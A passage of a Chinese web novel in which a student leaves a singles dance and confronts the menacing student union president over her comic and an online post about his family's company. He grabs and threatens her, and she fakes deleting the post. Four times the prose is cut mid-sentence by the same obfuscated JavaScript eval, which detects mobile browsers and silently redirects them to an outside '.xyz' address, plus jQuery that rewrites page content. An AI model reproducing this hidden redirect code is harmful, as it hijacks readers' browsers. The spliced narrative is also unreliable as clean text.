“噗——”她没忍住,因为自己的窘态而笑出声来,眉尾耷拉下去,眼里几乎要挤出泪来,“什么啊,这也太菜了。” 韩时朔的身体在颤抖,似乎也在憋笑,两个毫无优雅可言的人自得其乐,完全不在乎旁人的看法。 “姐姐和别人跳过舞吗?”又恢复成慢悠悠地悠荡时,韩时朔问她。 庄森芽短暂回想了一番,屈指可数的记忆涌上脑海。她想到了那天夜晚、那个男人,凌乱的舞步和充满了暗示的舞姿。 他现在在做什么呢? 想到这里,庄森芽的笑容淡下去了一些。 那个人很有可能还在某处奔波着,为了他之前承诺过的事情而付诸行动。 想到他,再看看自己现在在做什么,刚才那些雀跃鼓动的情绪一晃而散,严肃出现在了她的脸庞上。 庄森芽渐渐停下了脚步,而十分会察言观色的韩时朔也跟着停了下来。 “时朔,我还是得走了。”她说,直视着对方的眼睛,“今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853883|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很开心,谢谢你送我的围巾,这只有点……不伦不类的舞我也很喜欢。” 韩时朔与她对望,嘴唇微微张开,看起来有些怔愣,也有点难过,“这么快吗?” “嗯,我耽搁的时间有点长了。” 他没有松开揽着她的手,渴求的目光十分直率,“那我以后还能联系你吗?” 她想说最好不要,因为这段感情是没有结果的。 也不知道哪来的确信,她就是知道他们不合适。 韩时朔太敏锐了,一个眼神就能猜透身边的人在想什么,一个表情就能看出对方情绪的起伏,话只说一半,他都能理解更深层次的含义,也不知道是天生聪明,还是在无尽的察言观色中领悟了超越同龄人的本领。 而反观庄森芽自己,看人脸色是困难的,体察别人的情绪是棘手的,从小到大一言不合就是动手,用话语创飞别人是常态,只是上大学之后收敛了许多,因为老妈告诉她大学的人际关系很重要,而她又是个听话的孩子…… 好像扯远了。 总而言之,她并不是一个善于关心别人的人,高中最好的朋友是个钝感力极强的胖女孩,而大学的好朋友也都是些大大咧咧的人,她在这种环境中呆惯了,也更习惯这样。 她更倾向身边的人也都是不那么敏锐的人,开得起玩笑,心灵也不脆弱。只有再这样的人身边,她才能肆无忌惮地做自己。 可是韩时朔给她的感觉不是那样的。或许他可以包容她,但是她还是能感觉出他的介怀。 在这样的人面前,她会十分地提心吊胆,生怕自己的莽撞误伤到了对方。 他带着热烈的感情而来,可庄森芽唯恐碰碎了这满心纯粹。 所以,言归正传。她得给他一个明确的拒绝,这对他们都好。 正打算开口的时候,宴会厅的大门口传来了一阵吵闹的声音,一群人影鱼贯而入,让本就火热的场所变得愈发拥挤。 原以为是迟来的学生,可是庄森芽却意外地在其中发现了熟悉的身影。 那是温枣和何元楚,她的雏鸟周伙伴们。 他们牵着手跑进来——主要还是温枣在拉着何元楚——兴奋地东瞧瞧细看看,对眼前的所见赞不绝口。 看着这两个人的身影,庄森芽感觉有点恍惚,仿佛自己还身处上茂哈里森大学,而没有来到外国语。 奇怪……他们怎么会在这里? “大部队到场了。”韩时朔的声音在她耳边响起,他们俩此刻还手牵着手。 庄森芽回过头去,困惑地看他,“大部队?” “姐姐不知道吗,这次联谊和单身舞会是分开的,一部分学生只参加联谊,一部分只参加晚会,现在只参加晚会的那部分到场了。” ……原来如此,那怪她先前没听说过舞会的安排,原来和联谊是两个独立的活动。 不过,这不是‘单身’舞会吗?温枣和何元楚来凑什么热闹…… 不对,费洛虽然好像和她说过何元楚喜欢温枣,但在庄森芽的印象里,这俩人半点谁向谁告别的迹象都没有,只知道天天在一起嬉笑玩闹。 也就是说他们都还是单身的状态,来参加这次舞会无可厚非。而温枣又是无宴会不欢的性格,出现在这里也就没什么奇怪了。 143. 来者不善 厅内变得更加拥挤,让庄森芽心生了更多的退意。 “时朔,我真的得走了。”介于韩时朔还捏着她的一只手腕,不想强硬地挣开,庄森芽只能好言说道。 韩时朔张了张口,有些话最终却是没有说出来。 他勉强勾起嘴角,像是知道这可能是最后一次见面一样,眼中浮现出了被遗弃似的悲伤,“那姐姐,我能为你围上那条围巾吗?” 他指的是联谊会上为她赢来的那条。 庄森芽看着这个模样的他,心里有点不是滋味,明明不想伤害眼前的人,可好像无意之间还是伤害到了。 韩时朔是个非常聪明的男孩,只是从她几次的犹豫之中,就看出来了一些事情——比如她并不打算给他任何机会。 “……好。”她最终如此说道。 反正最多几分钟而已,这是一场认真的告别,为葬送一段突如其来的一见倾心,她不应该这点时间都不应允。 “那你在这里等我,我去把礼盒拿过来。”他终于是放开了她的手,转身往厅堂一侧走,那里摆着的一排白色的皮革座椅,而围巾礼盒就在那上面安静地躺着。 韩时朔的背影渐行渐远,现在仔细去看的话,他行走的时候四肢的确是有些不协调的,混迹在人群之中时,身影还显得有些瘦小,就像是幼鸭群中那个一直追不上妈妈的小鸭子,被兄弟姐妹甩在后面,孤零零的。 她没忍心再看,于是视线偏去一旁,让烂漫沉醉的灯光灌入自己的眼睛。 可是韩时朔的背影已经镌刻在了她的脑海里,她也不知道自己怎么了,以前没少在社交媒体上看到过各种各样的可怜人,有些比韩时朔要惨多了,她看到也只是皱皱眉头叹息两声,没有更多的感受。 然而当下,一种揪心的情绪却让她很难受。 仿佛只要让他难过,就是她的错。 这太奇怪了,明明韩时朔那么聪明,又是个天才,怎么会给人这种痛惋的感觉? 思及至此,庄森芽都有点开始后悔刚才的决定了。 难得相识一场,就非得一刀两断吗,又不是不能做朋友,没心没肺嘻嘻哈哈不也挺好,干嘛非得苦大仇深地往爱情上靠。 或许过一阵子,新鲜劲过去了,这个韩时朔就不喜欢她了,这段突如其来的爱恋得到了温和的引导,终归平静。 但是友谊关系还可以维系,四舍五入,不就等同于让她抱到了学神的大腿吗? 要是将来他在什么行业搞出了什么名堂,说不定她也能沾光,只要他还愿意叫她一声姐姐的话…… 不,她绝不是馋一个从未有过的听话弟弟,绝对没有。 想通了这件事,庄森芽只觉得心里那股压抑的情绪都消散了很多。 什么嘛,这不是很好解决。 刚才完全是自己给自己找不痛快,遇到点挫折就想跟有关人员撇的一干二净,然而完全有其他的解决方式,自己的臭毛病也该改改了。 她思虑万千的时候,完全没有留意到周围的声音。 直到一个脚步声在身后响起。 她以为是韩时朔回来了,转过身去就要和他表达她最新的想法:处对象这方面他最好不要报太大的期望,但是交个朋友是没有问题的。 然而,眼前的却不是那个有着一双楚楚动人的杏眼的男孩。 首先出现在视野里的是一枚白色的胸针,它被别在V领马甲的领口处,再往上看去是凸起的喉结,而后是一张不苟言笑的脸。 见到这张脸的一瞬间,庄森芽倒吸了一口冷气。 ……裴佑哲! 学生会主席垂眸盯着面前的人,眼里的神色在灯光的影响下明暗不定,他不笑的时候脸庞是有些冷峻的,加上俯视的视线,更显得无情。 周围的人投来打量的视线,不认识他的人单单从穿着和气质也能看出这不是个普通学生,而哈里森的人更是对突然出现的主席兴趣颇深。 似乎没人知道他为什么会出现在单身舞会上。庄森芽也一头雾水。 他不是刚和石玥诗公开关系不久吗?那就不是单身了。 庄森芽往四周瞧了瞧,身边没有别人,裴佑哲是在盯着她没错。 没想到会在这个节点和对方碰见,这并不在预料之中。按计划,和他的见面理应发生在彻底撕破脸皮之后,也就是拿到了所有腾滨集团资源垄断的证据,在法庭上见面的时候。 庄森芽迫使自己冷静下来。气势上不能输,也绝不能让对方看出她打算做什么,这有难度。 明面上,他们没有什么深仇大恨,无非就是一个拒绝另一个的交往请求,另一个三番五次当众让对方难堪,这些都是小事。 但暗地里,她已经知道裴佑哲是《灵月十四》下架的幕后主使,也知道他父亲裴正正是自家光曙公司陷入困境的始作俑者。 然而,她并不清楚裴佑哲知道不知道她知道。 所以,现在还是暂且维系着表面上的和平,走一步看一步吧。 “找我有事吗?”她朝面前的学生会主席问。 他伸出一只手,不由分说抓住她的手臂,“跟我过来。” 庄森芽不肯,与他僵持在原地,“你先说什么事。” 她可不想再被这个人带去什么密闭的小空间,听他说些什么惊世骇俗的话了,她的神经可经不起三番五次的摧残。 然而裴佑哲似乎铁了心要带她走,抓她的力道没有半点缓和。 紧攥的手指弄疼了手腕,庄森芽挣脱不开,气得大喊:“你到底要干什么?放开我!” 在旁人看来,她可能有点应激了,但只有庄森芽自己知道这个裴佑哲有多恐怖,他早就不是她记忆里那个温和的人了。 周围的学生们都在看着,谁也不知道发生了什么,没有人敢上前制止。 毕竟,那可是裴佑哲。 “你放开……放开!有什么话不能好好说?” 庄森芽倒是想和他心平气和地交流,然而对方根本不给她这个机会,把她拽得连连要摔。 眼看着宴会厅的侧门越来越近,马上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853884|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就要被拖走了,一股绝望之感油然而生。 裴佑哲这么气势汹汹的,不会是因为觉察到了她背后的小动作,想要把她找个小黑屋关起来吧!? 他以前可是做过类似的事情,就是在他生日宴会那天。 那日,时间太晚,庄森芽想回学校,然而裴佑哲根本没把她的想法纳入考量,硬是将人关在了自家的客房。 他能做一次这种事,就能做第二次。 危机感让庄森芽猛烈地挣扎起来,就像猎物最后的反抗,“放开,你放——” 突然,裴佑哲停了下来,庄森芽差点撞上他的后背。 然而停顿并不是他良心发现、大发慈悲,而是因为有另一个人制止了这场暴行。 “请放开她。” 韩时朔不知何时现身了,一手抱着围巾礼盒,一手抓着裴佑哲的手腕。在常年健身的人面前,他的身影稍显瘦弱,个头也矮上一些,然而却丝毫没有退却。 裴佑哲转过头来,用一种近乎冰冷的目光盯着韩时朔,嘴唇紧闭着,一言不发,居高临下。 闹剧吸引了诸多围观的群众,然而大多数人都只敢看着,不敢上前。 然而这之中,却又那么几个毅然决然的身影,挤开周围的人,无所畏惧地掺和进这件明显是学生会主席的私人事件中。 那是这才发现庄森芽也在舞会的温枣和何元楚,以及闻讯而至的费洛与汪素文。 “森芽!这是怎么了?”先喊话的是温枣,与凑上前的其他哈里森学生不同,唯有她不是学生会的人,没体验过裴佑哲的只手遮天,当下也是一点都不怕他,瞪着他捏紧庄森芽的那只手,冲着主席的脸就质问道,“你抓她干嘛?” 作为学术部干事的何元楚,手上拉着温枣,不让她冲动,但嘴上却也站在庄森芽的一边,“主席,这么对待学生会成员不太好吧。” “裴佑哲!”费洛更是发出怒喊,像是积攒已久的怨气找到了爆发的机会,但多少还是有点惧怕对方,所以只站在远端朝他呐喊,“别欺人太甚啊,你这样下去早晚有一天会遭到报应的!” 突然之间,庄森芽身边出现了一群援助她的人,这几乎有点让她受宠若惊。 在她十八年的生命里,似乎从来没有发生过这样的事情。 她总是孤身一人和外部对抗。 然而现在,身边却又这么多伙伴,这感觉就好像一下子从冰窖掉进温暖的湖泊里,令人有些猝不及防。 下一刻,有什么温热的东西裹住了她的手掌,庄森芽低头看去,发现是汪素文来到了身边,握紧了她的手。 她的小个子舍友抬头看她,眼里是关切的目光,“森芽……你没事吧?” 不知为何,这一刻蓦然感到有点委屈,胸腔又酸又胀,嘴巴也不由自主地抿了起来,“我没事……” 另一边,裴佑哲冷眼看着对他围攻而上的人,依然保持沉默,也还是没有松开抓着庄森芽的手。 他就像是没有看到他们一样,也对他们聒噪的声音置若罔闻。 144. 本性已然众人皆知 学生会主席的目光再度看向第一个阻碍他的人,半晌,他久违地再度开口,音色与他的脸庞一样冷漠,“你是谁?” 韩时朔直视着对方,明亮的眼中没有丝毫退意,“我是外国语的学生,韩时朔。” “你是她什么人。”裴佑哲用目光点了一下庄森芽,快得仿佛都不曾将她的面容纳入眼中。 韩时朔顿了顿,依旧坚定地回答,“我们今天刚认识。” 裴佑哲听完后,仰起脖颈,头歪向另一侧,目光也从韩时朔的脸上撤走,轻描淡写,飘向在场的众人,就仿佛他刚才看到的是什么无足轻重的东西。 “你们在场的每一个,我都记住了。”他说了迄今为止最长的一句话,说话的对象是替庄森芽站出来的所有人。 然而尾音落下的时候,他看的却是她。 注视着那双异常寒冷的眸子,她只感觉心里咯噔一声,有种将要发生什么不好的事情的预感。 裴佑哲说完那句话后,就松开了她的手腕,转身从侧门离开,似乎就这么放弃了对话。 伙伴们趁机围了上来,关心地询问她发生了什么。韩时朔执起那只被裴佑哲捏红的手腕,轻柔地托着泛白的指尖,模样有点心疼,替她仔细检查着。 然而,此刻的庄森芽注意力全在那个离开的背影上。 看着他头也不回的模样,她愈发不安起来。 那些不安越积越多,最终驱使她开口,叫住了那个远去的人,“等一下!” 裴佑哲停步,但未回头。 她盯着他的背影,鼓足了勇气问:“你到底找我要说什么?” 她本不想搭话,裴佑哲最好就这么走了算了,她可以权当刚才的事情没发生、他也没来过。 可是,在听到那句威胁性质的话语、感受到他身上散发出来的阴森骇人气息后,她不能就这么算了。 如果放任他这么离开,身边那些替他站出来说话的伙伴都会遭殃。 她知道,一定会的。 作为几次惹恼过这个学生会主席的人,她知道他的报复心到底有多强。 今天他们当着这么多人的面反对他,让他吃瘪,明天他就会让他们叫苦不迭。 他有这样的实力,更有这样的权力。 裴佑哲听到她的问题,偏过头来,露出他寡淡的的侧脸。 “过来。”他留下了这么一句话,还是要求她和他去另一个地方。而后,又开始走他的路,就仿佛她跟不跟上来都无所谓。 庄森芽吞了口口水,斟酌半晌,迈动了脚步。 “等等,你真要去啊?”裴佑哲走远了,费洛这才敢凑近。他拦在庄森芽的身前,朝她好言相劝,“不要去,前面可是地狱啊。” “森芽,我看他很危险。”温枣对她说,眼睛瞪得圆圆的,像谨慎的鹿一样盯着学生会主席的背影,“你还是和他保持距离吧。” “是呀,他都对你动粗了……”汪素文拉住她的手,也在一旁附和。 眼瞧着裴佑哲的身影越来越远,就快要消失在廊道的拐角,再不追上去就来不及了,庄森芽语速飞快地对伙伴们说:“没事的……真没事,我就过去和他说两句话,很快就结束,这里到处都是监控,他不敢再对我做什么的。” 明明刚才在喊‘放开’的人是她,但是局势陡然一转,她却已经不能做缩头乌龟了。 这些话虽然是说给周围的人听的,可同时也是在安慰自己。 不能害怕,不能退缩,她非去不可,不能因为她一人的恐惧而牵连身边的朋友们。 “森芽……” 姐妹们似乎还想劝她,然而庄森芽毅然决然地往大门外走。 当下,仍有一个人挡在她的面前。 “狗哥,让一让。”庄森芽对他说。 费洛堵住了去路,像棵笔挺的树站在那里,丝毫没有退让的意思,“我不能让你去……裴佑哲就是个怪物,他就是个大魔王……!” 不知道费洛经历了什么,他对裴佑哲的态度与以往截然不同,控诉接连不断。 但转瞬之间,他声音又缓和下来,几乎是有点愧疚地盯着她,“森芽有一件事我必须向你道歉,我以前……在某些事情上没少帮助他,你现在被针对的现状我可能也难辞其咎……” 庄森芽大概知道费洛在说什么。 他和裴佑哲以前是十分合得来的兄弟,帮他做事也是情理之中。很有可能,她认识费洛这个人都是裴佑哲的安排。 学生会主席分身乏术,没有精力一直盯着她,所以派了一个值得信赖的眼线。不然没法解释为什么最初认识的时候,费洛总是喜欢问她一些有关裴佑哲的问题。那时大概是在打探口风。 “然而他的手段我实在是看不下去了,你知道吗,我特别后悔认识他。”费洛说,脸上带着懊恼,“你就当是给我一次将功补过的机会,别去,别和他直接接触,你搞不定他的,被他彻底记恨上就完了。” 她可能早就被记恨上了,在出言中伤他的海边,在拒绝他的客厅。 看来费洛是不打算让路,庄森芽垂下眼眸,思虑片刻,又抬起,严肃地盯着对方。 她压低了声音,以只有两人能听到的声音说:“你这么做,是想让素文和你一起被学生会除名吗?” 费洛听到这句话之后,身体都僵硬了,嘴唇绷得死死的。 看来他也知道得罪裴佑哲会有什么后果,这句话确实是踩在了他的软肋上。 “佑哲刚才的话你也听见了,他不会放过站出来的每一个人。”庄森芽皱着眉说,“只有我去,事情才有缓和的余地。” 费洛的拳头紧了又松,然而,他就像脚下被粘住了似的,还是不肯让步。 僵持之际,一个身影走上了前来,立在两人之间,那是韩时朔。 “我陪姐姐过去吧。” 话音落下,僵持的人都转头看他。 或许是看出了庄森芽想要保护同伴的决心,因此想要遵循她的愿望,韩时朔说:“那个学生会主席应该是想找个没人的地方谈话,我跟过去,不会上前,只是照看姐姐的安危。” 他的发言吸引了费洛的注意,趁这个空档,庄森芽一下子挤开他冲了出去。 “喂——!”费洛伸手一抓,却是什么也没捞着。 “别过来!”她警告说,“我自己能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“‘一周情侣’总结会之后我们应该就没再见过了,这期间我应该没做过什么惹你不开心的事情吧?” 她明知故问。 不知道裴佑哲究竟掌握多少信息,为了让他开口先说,只能先装傻。 要说做过的惹他不开心的事情,那可不少。 比如他去医院看望她的时候拒而不见,还有偷偷把《灵月十四》的主人公画成了一个小人形象,以及把主人公的公司名都改成了和现实中的腾滨集团特别像的‘宾腾地产’,最终,还要算上在社交平台上发表的那篇小作文。 这每一项单拎出来,都足以让对方不悦。 但是,这不能怪她,因为他也待她不善。 先不说那事出有因的‘一周情侣’严峻考核,还有后来总结会上给她的那次下马威,以及暗中使坏下架她的漫画,这些都是裴佑哲的斑斑劣迹。 她的做法不能说是报复,只能说是有来有往。 所以,现在的他又凭什么气愤呢。 145. 周旋 “我看了《灵月十四》的最新一话。”裴佑哲死死盯着她,发帘遮住了上方投下的光线,在他的眼窝制造了一片阴影,“你不想解释点什么吗。” 果然是因为漫画的事情,现在它热度已经上去了,不被裴佑哲发现几乎是不可能的。 因此,庄森芽也早就想好了当发生这种情况的时候该如何应对。 “解释?解释什么?”她眼神单纯,就仿佛真的不知道哪里有问题。 “你把主人公画成一个自私自利的小人,对我的影响很恶劣。” 庄森芽夸张地睁大眼睛,“怎么会呢?尤梭又不是你呀,他和你半点关系都没有。” 裴佑哲的脸色微动,眉毛簇起一瞬间,但很快恢复平静,“不管你怎么想,现在所有人都认为他的原型是我,他的一举一动都会被当成是你的含沙射影,从而间接影响到我的形象。” “怎么会这样……”她故意显露出苦恼的模样,“那要不我在漫画简介里加一个说明,向读者澄清尤梭这个角色和你没有关系?” “……”裴佑哲沉默了,就像在一场严肃会议上听到一个不着调的发言。 庄森芽也知道自己的话离谱。尤梭的脸几乎和裴佑哲是一个模子里刻出来的,就算澄清,也没人会相信这番鬼话。 但她现在的战略就是打马虎眼,混淆视听,让对手混乱,以来争取自己后续去收集证据的时间。 “还有,你为什么要给他的地产公司改名?”裴佑哲紧接着又问。 这下可被他问到关键了。 其背后牵扯出上一代人的恩怨情仇,而庄森芽依旧打算在这点上装傻充愣。 她不打算让裴佑哲知道,她其实已经什么都知道了。 她要让他蒙在鼓里,好方便自己继续搞事。不是都说做大事的人前期往往是低调的吗,她认为这句话说得很对,所以现在最应该采取的就是一问三不知的策略。 “新征程,新气象,尤梭给公司换个名字不是挺正常的吗?” 这话一出,裴佑哲的脸色更难看了。他的视线就像一把寒刀,要刺穿她的内心看看里面究竟装着些什么。 庄森芽装傻上了瘾,继而说:“‘宾腾’这个名字有哪里不对吗?你好像很在意的样子。” 裴佑哲非但没有解释,还下达了命令,“把公司名字换回去。” “为什么?你总得给我个理由吧。”庄森芽双臂抱在胸前,换上一副反过来质问的模样,看起来很有气势,但只有老天爷知道她心里有多没底。 “理由就是和我父亲的集团名字太像,对我的家族企业有影响。” “我又不知道你家集团叫什么,“她可太知道了,“又不是故意的。总不能起名之前还要避嫌所有现实公司吧,那就没有名字可取了。” “那你要怎么解释你在社交媒体上发表的那篇文章。” 果然,那篇小作文也被他看到了。 庄森芽露出困惑的神色,“我那篇文章怎么了?” “已经就差点名道姓了,你还要装作一无所知吗。”裴佑哲的眉间出现了沟壑,表情几乎可以说得上是阴狠了。 庄森芽回想了一番自己那篇控诉资源垄断的文章,里面应该没有提及‘腾滨集团’的字眼,为的就是起冲突的一日,还有在这上面做文章的余地。 “指谁的名,道谁的姓?”她依旧满脸迷茫,开始信口胡诌,“我一直不知道到底是谁垄断了仿生仪器的原材料,和我爸妈的光曙公司作对,导致他们夫妻俩经营得苦不堪言,所以在网上发了篇文章求助……” 说到这里,她眯起眼睛,里面透出一种视察的精光,“……不过佑哲,听你的意思,你好像对这家垄断资源的坏公司有什么了解?” “……”他又不说话了。 呵,果然还是想隐瞒。 也知道自己父亲做的不是什么光明正大的事,所以哑口无言了吧。 想到这里,庄森芽气焰更盛,甚至有些咄咄逼人,“做贼才会心虚,一个劲要我改名字,为什么不是你家集团改——” 她话音未能落下,紧接着,音乐教室里响起一声巨大的撞击声。 裴佑哲的拳头砸在他身边的储物柜上,金属的柜子发出震耳欲聋的嗡鸣。 “庄森芽。”他叫了她的全名,几乎是要咬碎在嘴里,神情狠戾,“我不是在和你商量。” 看到这样子的裴佑哲,她咽了口口水。 好可怕。 好可怕好可怕好可怕——! 上一次被熟悉的人叫全名还是在高中毕业的时候,晚上和同学出去玩,玩得上头了忘记看手机,再去看的时候老妈已经给她打了数十通电话,她回拨回去,听到的第一句就是劈头盖脸的‘庄森芽你在哪’。 当下,裴佑哲看起来已经愤怒到连表面功夫也懒得维系了,情绪似乎极度不稳定,紧握着的那只拳头在微微颤抖。 好像有点刺激过头了。 识时务者为俊杰,她立刻退让三分,“干、干嘛,我就是开个玩笑,至于这么生气……” 裴佑哲依旧阴森地盯着她,仿佛她再说一句不合时宜的话,就要扑上来动手了。 到这里,也差不多该让步了,她不能只考虑自己,要是继续对裴佑哲施压,把这罐煤气给点炸了,那所有今天让他不顺心的人都要遭殃,其中也包括刚才替她站出来的伙伴们。 “不就是一个公司名字吗,我改就是了,这样你满意了吗?” 他看起来并不,反而继续加码,“把社交平台上的文章删掉。” 这就有点得寸进尺了吧,她想。 “不行,我要是删了爸妈的公司怎么办,好不容易在网上得到了支持者……” “我会想办法。”他低声说了一句。 起先,庄森芽没听清楚,也有一部分原因是不相信自己的耳朵,于是朝他问:“你说什么?” “我说,“他拔高了声音,似是有些不耐烦,“你家公司的情况,我会想办法。” 这下庄森芽彻底听清了,也彻底陷入了迷茫。 他说他会想办法? 这是什么意思……他到底是站在什么角度说这句话的? 明明让光曙公司陷入财务困境的就是他父亲裴正,而裴佑哲本人显然也知道这点,可他现在却在这里冠冕堂皇地说什么‘帮忙’? 明明如果不是腾滨集团的压榨,她爸妈的事业现在还在如火如荼,他们就不用搬到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853886|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个手脚都伸展不开的小公寓里,庄森芽自己也不用为了减轻家里的负担而跑去画什么漫画。 她要是没着急赶工,用裴佑哲的形象画了这么一个名叫《灵月十四》的漫画,就不会遇上那么多糟心事,也就能像其他大学生那样安安稳稳地度过自己的大一,而不需要为了自己曾经的无心之失而四处奔波,疯狂找补。 他明知道自己是始作俑者,却在这里好意提供援助。 裴佑哲是疯了,还是把她当傻子? “你打算怎么帮?”她倒是要听听他怎么说。 “把文章删掉之后,你就会知道。” 又在这里卖关子。 她看他是一点出手相助的心思都没有,完全是为了达成自己的目的而肆意欺骗。 既然这样,也别怪她以其人之道还治其人之身。 “好吧……那我相信你一次。” 不,她不会信的,她再也不会信了。 回去她也不会把那片控诉的文章删掉,反正它既然现在还没有被平台删除,就说明裴家人拿它没有办法,所以,裴佑哲才会当面来找她,要求她这个文章的发布者主动删除它。 “删掉社交媒体的文章,改掉《灵月十四》主人公公司的名字,主席还有什么要求?不如一并都说了吧。” 裴佑哲果真还有进一步的条件,“在我面前删掉。” ……靠!他是不是被韩时朔附体了,为什么能听见别人的心思? “就这么不信任我吗?”她扯起一个牵强的笑容。 果然像费洛说的一样,这家伙就是个大魔王,毫无人性。 她刚说了‘再相信你一次’,裴佑哲却反手招呼过来一句猜忌。礼尚往来呢?一去一回呢?人类社会最基础的信赖原则呢?全被他吃了? “我说了删除就一定会删除……”她不甘心,不肯照他说的做。 然而,也不知是因为不擅长说谎还是怎样,裴佑哲仿佛看出了她的心虚,不为所动地盯着,也不言语,只等她付诸行动。 被看得有点忐忑,感觉快要演不下去了。 没辙,庄森芽从口袋里翻出手机,犹犹豫豫解锁屏幕,磨磨唧唧打开社交媒体。 删除键明晃晃的,点一下这篇文章就会永远消失了。 话说删除之后还能恢复吗…… 她没怎么研究过现在在用的社交平台,有点后悔自己这种对什么都不求甚解的态度。 文章她肯定是不能删除的,好不容易攒到了这么多的曝光量,绝对不能前功尽弃。 浅浅翻动了一下自己的社交账号,突然发现前不久还发表过一篇文章,也是一篇小作文,不过写的都是些无关紧要的日常碎碎念,长度和那片控诉文章差不多。 庄森芽抬眼快速地看了一下裴佑哲,又动起了歪心思。 这个距离的话……他应该看不太清删掉的是哪篇文章吧? 只要当下能糊弄过去,让她平平安安顺顺利利离开这个音乐教室,就算大功告成。 那之后,小伎俩被看穿也没有关系了,大不了就说删错了,或者谎称平台不让发布者自己删除热度太高的文章所以又放出来了,总之不是她的问题,就这么跟他踢皮球周旋。 146. 浑身是刺的人只能找没有痛觉的傻瓜 确定了行动方针,庄森芽将屏幕定位在那篇无关痛痒的日常牢骚上。 她把手机转过去给裴佑哲看,几乎是一晃而过,即刻按下删除,毫不犹豫地删掉了它。 “这下可以了吧?”她说着,就要收回自己的手机。 然而,低头的瞬间,一片阴影铺盖而来。 她还没反应过来是怎么回事,手腕就被抓住,肩膀被人一推,后背撞在门上,发出咚一声巨响。 “嘶……”手腕和后脑同时的痛楚让她不知道该先为哪个喊疼,抬起头来,就见裴佑哲一脸阴霾地自上而下盯着她,一手按住她的肩膀,一手捏着她的手腕。 手机被高高举起,就像什么罪证一样摆在两人之间。 “我没看清楚。”他说,要去抢她的手机。 庄森芽死死抓着它,宁死不从,“你别太过分了……!我已经全都按照你的要求做了,你还想怎么样?” “把手松开。” “我不要。” 咚。 他又推了她一下,手掌按在胸前,仿佛一个千斤顶一样将她钉在了门上。 “我说,松开。” 胸腔受到压迫,庄森芽感觉有点呼吸不畅,她难受地咳嗽一声,徒劳地去撕扯那只压制她的胳膊,另一只手还是死死攥着手机,不肯放开。 居然还真动手了,一点绅士风度都没有,她以前都看错他了……! 裴佑哲的模样已经有些看不出来是他本人了,总的来说就是十分可怖。 他身上的晚礼服是优雅的,然而暴徒般的行径却配不上一身服饰。 他脸色苍白,怒意在上面隐隐作现,目光因愤怒而显得空白而空洞。 “为什么你总是——”他张口,几乎有些咬牙切齿,“总是让我这么恼火——” 砰砰砰! 一阵急促的敲门声在近处响了起来。 “里面有人吗?”一个陌生男人的声音传进来。 突然的打断让教室内的两人都是一惊,他们一下子噤了声,只剩两双均带着怒火的眼睛在相互瞪视。 外面的人又敲了敲门,人影在模糊的玻璃窗外摇晃着,“是有人的吧,我听到声音了。你们把门锁上了?不要锁门啊,里面的乐器马上就得运出去送到场上。” 听意思,这人大概是舞会负责奏乐的人员,来取他口中所谓的乐器。 裴佑哲顿了顿,目光还紧盯着庄森芽,眼睛微微眯起,那意思仿佛在说:我不打算放过你。 下一刻,他松开了钳制她的两只手,庄森芽这才得以逃脱出来,她活动了一下手腕,指尖都因不过血而发麻。 外面的男人敞开了门,是个灰头发的中年人,长发在脑后扎了一个辫子,衣服很有艺术气息。 他打量了一番教室内沉默无言的两人,往摆着电吉他的角落走,“你们是来参加单身舞会学生?在这里做什么……” 他说到一半,有些粗神经地反应过来什么,扬扬眉,闭紧自己的嘴巴。 但片刻之后又按捺不住似地张口,“你们俩不是外国语的学生吧。这间教室经常有人来,我建议你们换个地方。” 似乎被误会了什么,这个显然是上茂外国语艺术系的老师可能把他们当成半场出来幽会的情侣了。 眼见灰发男人拿了吉他就要走,庄森芽抓住这个机会,连忙跟上对方,“是要送到舞会场地去吗老师,我来帮您。” 说着,她不由分说夺过了对方手里唯一的一把吉他。 “你——” 男人正要说什么,她连忙祈求般地递给他一个视线,露出一副求救的神情。 对方似乎一下子就懂了,态度转变得堪称自然,“你……那就拜托你了,小姑娘,我这老手总颤,正担心碰坏了这些个名贵乐器呐。” 两人一唱一和离开了音乐教室,庄森芽隐约感受到后背有一道凝视的视线,她不敢回头,怕回头看到的是一片仇恨的深渊。 走过长廊的拐角,突然几个人影冒了出来,那是她的伙伴们,原本说会守候在门口的韩时朔也在其中。 